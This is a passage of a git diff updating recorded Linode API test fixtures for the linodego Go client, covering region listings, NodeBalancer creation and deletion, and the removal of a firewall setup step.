"1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:42 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -279,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228222}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -300,10 +313,11 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 441133, "label": "go-test-def", "region": "ap-west", "hostname": - "172-232-87-36.ip.linodeusercontent.com", "ipv4": "172.232.87.36", "ipv6": "1234::5678", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": - 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' + body: '{"id": 694198, "label": "go-test-def", "region": "ap-west", "hostname": + "172-105-45-147.ip.linodeusercontent.com", "ipv4": "172.105.45.147", "ipv6": + "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, + "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -316,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "334" + - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:42 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -337,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -355,7 +376,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441133/stats + url: https://api.linode.com/v4beta/nodebalancers/694198/stats method: GET response: body: '{"errors": [{"reason": "Stats are unavailable at this time."}]}' @@ -367,13 +388,17 @@ interactions: Access-Control-Allow-Origin: - '*' Cache-Control: - - private, max-age=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "63" Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:53 GMT + Pragma: + - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: @@ -381,9 +406,12 @@ interactions: X-Frame-Options: - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "100" + - "50" status: 400 Bad Request code: 400 duration: "" @@ -397,7 +425,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441133 + url: https://api.linode.com/v4beta/nodebalancers/694198 method: DELETE response: body: '{}' @@ -413,15 +441,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:53 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -434,64 +466,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228222 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancer_Create.yaml b/test/integration/fixtures/TestNodeBalancer_Create.yaml index 89d223fa0..736bda341 100644 --- a/test/integration/fixtures/TestNodeBalancer_Create.yaml +++ b/test/integration/fixtures/TestNodeBalancer_Create.yaml @@ -1,67 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 228223, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "526" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -76,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 